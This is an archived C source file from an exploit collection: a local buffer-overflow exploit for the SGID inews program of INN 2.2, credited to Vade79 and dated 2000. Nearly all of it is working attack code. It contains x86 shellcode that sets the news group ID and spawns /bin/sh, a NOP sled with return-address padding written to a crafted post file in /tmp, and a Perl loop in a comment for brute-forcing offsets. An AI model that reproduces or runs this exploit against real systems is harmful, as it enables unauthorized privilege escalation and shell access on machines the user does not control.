home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / nntp / inews_bof.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  84 lines

  1. /* (linux)inews[inn-2.2] buffer overflow, by Vade79->v9[v9@fakehalo.org].
  2.    this will give you a gid=news shell if /usr/bin/inews is SGID(news).  i know
  3.    /usr/bin/inews comes default with versions of redhat, but i don't know about
  4.    other distributions.
  5.  
  6.    cause (line601:inews.c): "(void)strcpy(from, HDR(_from));", use strncpy();
  7.  
  8.    note: i found this while looking for a security hole in another program that
  9.          comes with inn, but it needs gid=news to run anyways.  so this is a
  10.          bonus.  also, you may want to clean up the defined TMPFILE afterwords.
  11.          after making this, i found another exploit of the same idea, this is
  12.          much more functional though.
  13.  
  14.    the old perl script below for offset(s):
  15.  
  16.    #!/usr/bin/perl
  17.    $i=$ARGV[0];
  18.    while(1){
  19.     print "offset: $i.\n";
  20.     system("./inews_bof $i");
  21.     $i+=100;
  22.    } */
  23.  
  24. #include <stdio.h>
  25. #define NEWSGID 13        // the group id of news.
  26. #define ALIGN 0            // return alignment.
  27. #define PATH "/usr/bin/inews"    // path to the inews program.
  28. #define TMPFILE "/tmp/bad.post"    // file to overflow inews buffer with.
  29. #define SUBJECT "inews bug."    // required file filler.
  30. #define NEWSGROUP "alt.inn.bug"    // required file filler.
  31. #define DEFAULT_OFFSET 650    // usual offset.
  32.  
  33. static char exec[]=
  34.   "\xeb\x29\x5e\x31\xc0\xb0\x2e\x31\xdb\xb3"
  35.   "\x00"                // yeah, group id of news here.
  36.   "\xcd\x80\x89\x76\x08\x31\xc0\x88\x46\x07"
  37.   "\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08"
  38.   "\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40"
  39.   "\xcd\x80\xe8\xd2\xff\xff\xff\x2f\x62\x69"
  40.   "\x6e\x2f\x73\x68\x01";     // hex01 h00t!
  41.  
  42. long esp(void)
  43. {
  44.   __asm__("movl %esp,%eax");
  45. }
  46. int main(int argc,char **argv)
  47. {
  48.   char bof[600];            // give or take a few. (528)
  49.   int i,offset,gid=NEWSGID;
  50.   long ret;
  51.   FILE *inewsfile;
  52.   if(argc>1)
  53.     {
  54.       offset=atoi(argv[1]);
  55.     }
  56.   else
  57.     {
  58.       offset=DEFAULT_OFFSET;
  59.     }
  60.   ret=(esp()-offset);
  61.   for(i=ALIGN;i<600;i+=4)
  62.     {
  63.       *(long *)&bof[i]=ret;
  64.     }
  65.   exec[10]=gid;
  66.   for(i=0;i<(600-strlen(exec)-100);i++)
  67.     {
  68.       *(bof+i)=0x90;
  69.     }
  70.   memcpy(bof+i,exec,strlen(exec));
  71.   unlink(TMPFILE);         // clean house.
  72.   inewsfile=fopen(TMPFILE,"w");
  73.   fprintf(inewsfile,"From: %s\n",bof);            // required, woops.
  74.   fprintf(inewsfile,"Newsgroups: %s\n",NEWSGROUP);    // required.
  75.   fprintf(inewsfile,"Subject: %s\n\n",SUBJECT);        // required.
  76.   fclose(inewsfile);
  77.   printf("[ return address: 0x%lx, offset: %d, actual size: %d(sc=%d). ]\n",ret,offset,strlen(bof),strlen(exec));
  78.   if(execlp(PATH,"inews","-h",TMPFILE,0))
  79.     {
  80.       printf("%s: failed, is %s the correct path?\n",argv[0],PATH);
  81.       exit(-1);
  82.     }
  83. }
  84. /*                    www.hack.co.za           [26 June 2000]*/